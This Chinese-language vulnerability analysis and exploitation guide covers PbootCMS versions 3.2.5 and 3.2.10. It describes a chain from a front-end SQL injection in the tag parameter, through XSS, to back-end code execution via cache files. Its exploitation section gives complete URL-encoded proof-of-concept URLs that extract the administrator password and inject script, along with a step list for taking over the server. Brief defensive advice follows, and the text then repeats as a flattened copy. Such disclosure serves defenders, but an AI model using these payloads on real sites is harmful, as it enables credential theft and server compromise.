pbootcms前台sql注入XSS再到后台rce
字数 961 2025-08-29 22:41:10

PbootCMS 漏洞分析与利用指南

漏洞概述

PbootCMS 存在一系列安全漏洞,包括:

  1. 前台 SQL 注入漏洞
  2. 基于 SQL 注入的 XSS 漏洞
  3. 后台 RCE (远程代码执行) 漏洞

影响版本:

  • GitHub 最新版本 3.2.10
  • Gitee 最新版本 3.2.5

漏洞分析

1. 前台 SQL 注入漏洞

漏洞位置apps/home/controller/TagController.php

漏洞成因

  • 系统通过 get() 函数传递 $_GET 参数
  • 参数经过 escape_string 函数处理
  • parserPositionLabel 处理时,tag 参数被添加到 content 中
  • 通过 parserListLabel 的正则匹配和标签解析,最终构造出可注入的 SQL 语句

关键点

  • 通过闭合括号和注释符绕过过滤
  • 默认使用 SQLite 数据库

2. XSS 漏洞

利用方式

  • 基于 SQL 注入漏洞,通过 char() 函数构造 XSS 载荷
  • SQLite 不支持 16 进制绕过,但提供了 char() 函数

3. 后台 RCE 漏洞

漏洞位置core/function/handle.php

漏洞成因

  • decode_string 函数进行 HTML 实体解码
  • 通过特定方式提交恶意数据可导致代码写入缓存文件
  • 访问首页时加载并执行恶意缓存文件

漏洞利用

SQL 注入 POC

http://pbootcms.learn/index.php?tag=ccc%3A%7Bpboot%3Alist%20filter%3D1%3D2)UNION%2F**%2FSELECT%2F**%2F1%2C2%2C3%2C4%2C5%2C(select%2F**%2Fpassword%2F**%2Ffrom%2F**%2Fay_user)%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2F**%2F--%2F**%2F%7C123%20scode%3D123%7D%5Blist%3Alink%20link%3Dasd%5D%7B%2Fpboot%3Alist%7D

XSS POC

http://pbootcms.learn/index.php?tag=xxx%3A%7Bpboot%3Alist%20filter%3D1%3D2)UNION%2F**%2FSELECT%2F**%2F1%2C2%2C3%2C4%2C5%2C(select%2F**%2Fchar(34%2C62%2C60%2C115%2C99%2C114%2C105%2C112%2C116%2C62%2C97%2C108%2C101%2C114%2C116%2C40%2C49%2C41%2C60%2C47%2C115%2C99%2C114%2C105%2C112%2C116%2C62%2C60%2C34))%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2F**%2F--%2F**%2F%7C123%20scode%3D123%7D%5Blist%3Alink%20link%3Dasd%5D%7B%2Fpboot%3Alist%7D

RCE 利用步骤

  1. 通过 SQL 注入获取管理员凭证
  2. 登录后台
  3. 通过特定方式提交恶意代码
  4. 清理所有缓存
  5. 访问首页触发恶意代码执行

防御建议

  1. 对用户输入进行严格过滤和转义
  2. 使用参数化查询防止 SQL 注入
  3. 限制后台功能权限
  4. 及时更新到修复版本
  5. 对缓存文件进行安全检查

技术细节

SQL 注入构造

最终构造的 SQL 语句示例:

1=2)UNION/**/SELECT/**/1,2,3,4,5,(select/**/password/**/from/**/ay_user/**/limit/**/0,1),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29/like '%123%') ORDER BY a.istop DESC,a.isrecommend DESC,a.isheadline DESC,a.sorting ASC,a.date DESC,a.id DESC LIMIT 15 OFFSET 0

XSS 载荷构造

使用 SQLite 的 char() 函数构造 XSS:

select char(34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,49,41,60,47,115,99,114,105,112,116,62,60,34)

解码后为:"><script>alert(1)</script><"

总结

PbootCMS 的这一系列漏洞展示了从简单的注入到最终获取系统控制权的完整攻击链。开发人员应重视输入验证、输出编码和权限控制等基本安全原则,以防止此类漏洞的发生。

PbootCMS 漏洞分析与利用指南 漏洞概述 PbootCMS 存在一系列安全漏洞,包括: 前台 SQL 注入漏洞 基于 SQL 注入的 XSS 漏洞 后台 RCE (远程代码执行) 漏洞 影响版本: GitHub 最新版本 3.2.10 Gitee 最新版本 3.2.5 漏洞分析 1. 前台 SQL 注入漏洞 漏洞位置 : apps/home/controller/TagController.php 漏洞成因 : 系统通过 get() 函数传递 $_GET 参数 参数经过 escape_string 函数处理 在 parserPositionLabel 处理时,tag 参数被添加到 content 中 通过 parserListLabel 的正则匹配和标签解析,最终构造出可注入的 SQL 语句 关键点 : 通过闭合括号和注释符绕过过滤 默认使用 SQLite 数据库 2. XSS 漏洞 利用方式 : 基于 SQL 注入漏洞,通过 char() 函数构造 XSS 载荷 SQLite 不支持 16 进制绕过,但提供了 char() 函数 3. 后台 RCE 漏洞 漏洞位置 : core/function/handle.php 漏洞成因 : decode_string 函数进行 HTML 实体解码 通过特定方式提交恶意数据可导致代码写入缓存文件 访问首页时加载并执行恶意缓存文件 漏洞利用 SQL 注入 POC XSS POC RCE 利用步骤 通过 SQL 注入获取管理员凭证 登录后台 通过特定方式提交恶意代码 清理所有缓存 访问首页触发恶意代码执行 防御建议 对用户输入进行严格过滤和转义 使用参数化查询防止 SQL 注入 限制后台功能权限 及时更新到修复版本 对缓存文件进行安全检查 技术细节 SQL 注入构造 最终构造的 SQL 语句示例: XSS 载荷构造 使用 SQLite 的 char() 函数构造 XSS: 解码后为: "><script>alert(1)</script><" 总结 PbootCMS 的这一系列漏洞展示了从简单的注入到最终获取系统控制权的完整攻击链。开发人员应重视输入验证、输出编码和权限控制等基本安全原则,以防止此类漏洞的发生。